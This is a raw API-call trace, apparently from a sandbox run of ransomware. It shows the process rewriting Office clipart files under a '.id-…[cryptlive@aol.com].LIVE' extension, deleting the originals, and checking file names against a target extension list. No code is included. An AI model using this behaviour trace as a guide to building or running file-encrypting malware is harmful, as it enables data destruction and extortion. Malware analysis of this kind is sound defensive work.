[0146.600] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00005_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0146.600] GetLastError () returned 0x0 [0146.600] ReadFile (in: hFile=0x350, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x5b04, lpOverlapped=0x0) returned 1 [0146.995] WriteFile (in: hFile=0x39c, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x5b10, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x5b10, lpOverlapped=0x0) returned 1 [0146.996] ReadFile (in: hFile=0x350, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0146.996] WriteFile (in: hFile=0x39c, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0146.996] SetEndOfFile (hFile=0x39c) returned 1 [0146.996] CloseHandle (hObject=0x39c) returned 1 [0146.996] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0146.996] SetEndOfFile (hFile=0x350) returned 1 [0147.002] CloseHandle (hObject=0x350) returned 1 [0147.002] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0147.184] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00005_.wmf")) returned 1 [0147.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 63 [0147.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 63 [0147.185] lstrlenW (lpString=".doc") returned 4 [0147.185] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.185] lstrlenW (lpString=".docx") returned 5 [0147.185] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0147.185] lstrlenW (lpString=".pdf") returned 4 [0147.185] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.185] lstrlenW (lpString=".xls") returned 4 [0147.185] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.185] lstrlenW (lpString=".xlsx") returned 5 [0147.185] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0147.185] lstrlenW (lpString=".ppt") returned 4 [0147.185] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 63 [0147.185] lstrlenW (lpString=".zip") returned 4 [0147.185] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.185] lstrlenW (lpString=".rar") returned 4 [0147.185] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.185] lstrlenW (lpString=".bz2") returned 4 [0147.185] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.185] lstrlenW (lpString=".7z") returned 3 [0147.185] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 63 [0147.185] lstrlenW (lpString=".dbf") returned 4 [0147.185] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 63 [0147.185] lstrlenW (lpString=".1cd") returned 4 [0147.185] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 63 [0147.185] lstrlenW (lpString=".jpg") returned 4 [0147.185] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 63 [0147.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 63 [0147.185] lstrlenW (lpString=".doc") returned 4 [0147.185] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.185] lstrlenW (lpString=".docx") returned 5 [0147.186] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0147.186] lstrlenW (lpString=".pdf") returned 4 [0147.186] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.186] lstrlenW (lpString=".xls") returned 4 [0147.186] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.186] lstrlenW (lpString=".xlsx") returned 5 [0147.186] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0147.186] lstrlenW (lpString=".ppt") returned 4 [0147.186] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 63 [0147.186] lstrlenW (lpString=".zip") returned 4 [0147.186] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.186] lstrlenW (lpString=".rar") returned 4 [0147.186] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.186] lstrlenW (lpString=".bz2") returned 4 [0147.186] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.186] lstrlenW (lpString=".7z") returned 3 [0147.186] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 63 [0147.186] lstrlenW (lpString=".dbf") returned 4 [0147.186] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 63 [0147.186] lstrlenW (lpString=".1cd") returned 4 [0147.186] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 63 [0147.186] lstrlenW (lpString=".jpg") returned 4 [0147.186] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.186] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0147.186] lstrlenW (lpString="HM00426_.WMF") returned 12 [0147.186] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00426_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0147.187] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=68776) returned 1 [0147.187] CloseHandle (hObject=0x36c) returned 1 [0147.187] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00426_.wmf")) returned 0x20 [0147.187] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00426_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0147.187] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00426_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0147.187] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0147.188] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0147.188] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00426_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0147.188] GetLastError () returned 0x0 [0147.188] ReadFile (in: hFile=0x36c, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x10ca8, lpOverlapped=0x0) returned 1 [0147.193] WriteFile (in: hFile=0x350, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x10cb0, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x10cb0, lpOverlapped=0x0) returned 1 [0147.195] ReadFile (in: hFile=0x36c, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0147.195] WriteFile (in: hFile=0x350, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0147.195] SetEndOfFile (hFile=0x350) returned 1 [0147.195] CloseHandle (hObject=0x350) returned 1 [0147.195] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0147.195] SetEndOfFile (hFile=0x36c) returned 1 [0147.198] CloseHandle (hObject=0x36c) returned 1 [0147.198] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0147.283] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00426_.wmf")) returned 1 [0147.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 63 [0147.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 63 [0147.293] lstrlenW (lpString=".doc") returned 4 [0147.293] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.293] lstrlenW (lpString=".docx") returned 5 [0147.293] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0147.293] lstrlenW (lpString=".pdf") returned 4 [0147.293] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.293] lstrlenW (lpString=".xls") returned 4 [0147.293] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.293] lstrlenW (lpString=".xlsx") returned 5 [0147.293] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0147.293] lstrlenW (lpString=".ppt") returned 4 [0147.293] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 63 [0147.293] lstrlenW (lpString=".zip") returned 4 [0147.293] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.293] lstrlenW (lpString=".rar") returned 4 [0147.293] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.293] lstrlenW (lpString=".bz2") returned 4 [0147.293] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.293] lstrlenW (lpString=".7z") returned 3 [0147.293] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 63 [0147.293] lstrlenW (lpString=".dbf") returned 4 [0147.293] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 63 [0147.293] lstrlenW (lpString=".1cd") returned 4 [0147.293] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 63 [0147.293] lstrlenW (lpString=".jpg") returned 4 [0147.293] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 63 [0147.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 63 [0147.294] lstrlenW (lpString=".doc") returned 4 [0147.294] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.294] lstrlenW (lpString=".docx") returned 5 [0147.294] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0147.294] lstrlenW (lpString=".pdf") returned 4 [0147.294] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.294] lstrlenW (lpString=".xls") returned 4 [0147.294] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.294] lstrlenW (lpString=".xlsx") returned 5 [0147.294] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0147.294] lstrlenW (lpString=".ppt") returned 4 [0147.294] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 63 [0147.294] lstrlenW (lpString=".zip") returned 4 [0147.294] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.294] lstrlenW (lpString=".rar") returned 4 [0147.294] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.294] lstrlenW (lpString=".bz2") returned 4 [0147.294] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.294] lstrlenW (lpString=".7z") returned 3 [0147.294] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 63 [0147.294] lstrlenW (lpString=".dbf") returned 4 [0147.294] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 63 [0147.294] lstrlenW (lpString=".1cd") returned 4 [0147.294] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 63 [0147.294] lstrlenW (lpString=".jpg") returned 4 [0147.294] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.294] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0147.295] lstrlenW (lpString="IN00046_.WMF") returned 12 [0147.295] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00046_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0147.544] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=1158) returned 1 [0147.544] CloseHandle (hObject=0x384) returned 1 [0147.544] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00046_.wmf")) returned 0x20 [0147.604] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00046_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0147.604] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00046_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0147.604] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0147.605] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0147.605] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00046_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0147.605] GetLastError () returned 0x0 [0147.605] ReadFile (in: hFile=0x394, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x486, lpOverlapped=0x0) returned 1 [0147.631] WriteFile (in: hFile=0x3d4, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x490, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x490, lpOverlapped=0x0) returned 1 [0147.632] ReadFile (in: hFile=0x394, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0147.632] WriteFile (in: hFile=0x3d4, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0147.632] SetEndOfFile (hFile=0x3d4) returned 1 [0147.632] CloseHandle (hObject=0x3d4) returned 1 [0147.632] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0147.632] SetEndOfFile (hFile=0x394) returned 1 [0147.635] CloseHandle (hObject=0x394) returned 1 [0147.635] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0147.635] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00046_.wmf")) returned 1 [0147.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 63 [0147.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 63 [0147.636] lstrlenW (lpString=".doc") returned 4 [0147.636] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.636] lstrlenW (lpString=".docx") returned 5 [0147.636] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0147.636] lstrlenW (lpString=".pdf") returned 4 [0147.636] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.636] lstrlenW (lpString=".xls") returned 4 [0147.636] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.636] lstrlenW (lpString=".xlsx") returned 5 [0147.636] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0147.636] lstrlenW (lpString=".ppt") returned 4 [0147.636] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 63 [0147.636] lstrlenW (lpString=".zip") returned 4 [0147.636] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.636] lstrlenW (lpString=".rar") returned 4 [0147.636] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.636] lstrlenW (lpString=".bz2") returned 4 [0147.636] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.636] lstrlenW (lpString=".7z") returned 3 [0147.636] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 63 [0147.636] lstrlenW (lpString=".dbf") returned 4 [0147.636] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 63 [0147.636] lstrlenW (lpString=".1cd") returned 4 [0147.636] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 63 [0147.636] lstrlenW (lpString=".jpg") returned 4 [0147.636] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 63 [0147.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 63 [0147.637] lstrlenW (lpString=".doc") returned 4 [0147.637] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.637] lstrlenW (lpString=".docx") returned 5 [0147.637] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0147.637] lstrlenW (lpString=".pdf") returned 4 [0147.637] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.637] lstrlenW (lpString=".xls") returned 4 [0147.637] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.637] lstrlenW (lpString=".xlsx") returned 5 [0147.637] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0147.637] lstrlenW (lpString=".ppt") returned 4 [0147.637] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 63 [0147.637] lstrlenW (lpString=".zip") returned 4 [0147.637] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.637] lstrlenW (lpString=".rar") returned 4 [0147.637] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.637] lstrlenW (lpString=".bz2") returned 4 [0147.637] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.637] lstrlenW (lpString=".7z") returned 3 [0147.637] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 63 [0147.637] lstrlenW (lpString=".dbf") returned 4 [0147.637] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 63 [0147.637] lstrlenW (lpString=".1cd") returned 4 [0147.637] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 63 [0147.637] lstrlenW (lpString=".jpg") returned 4 [0147.637] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.637] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0147.638] lstrlenW (lpString="IN00346_.WMF") returned 12 [0147.638] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00346_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0147.649] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=696) returned 1 [0147.649] CloseHandle (hObject=0x1ec) returned 1 [0147.649] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00346_.wmf")) returned 0x20 [0147.651] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00346_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0147.651] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00346_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0147.651] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0147.651] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0147.651] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00346_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0147.652] GetLastError () returned 0x0 [0147.652] ReadFile (in: hFile=0x1ec, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x2b8, lpOverlapped=0x0) returned 1 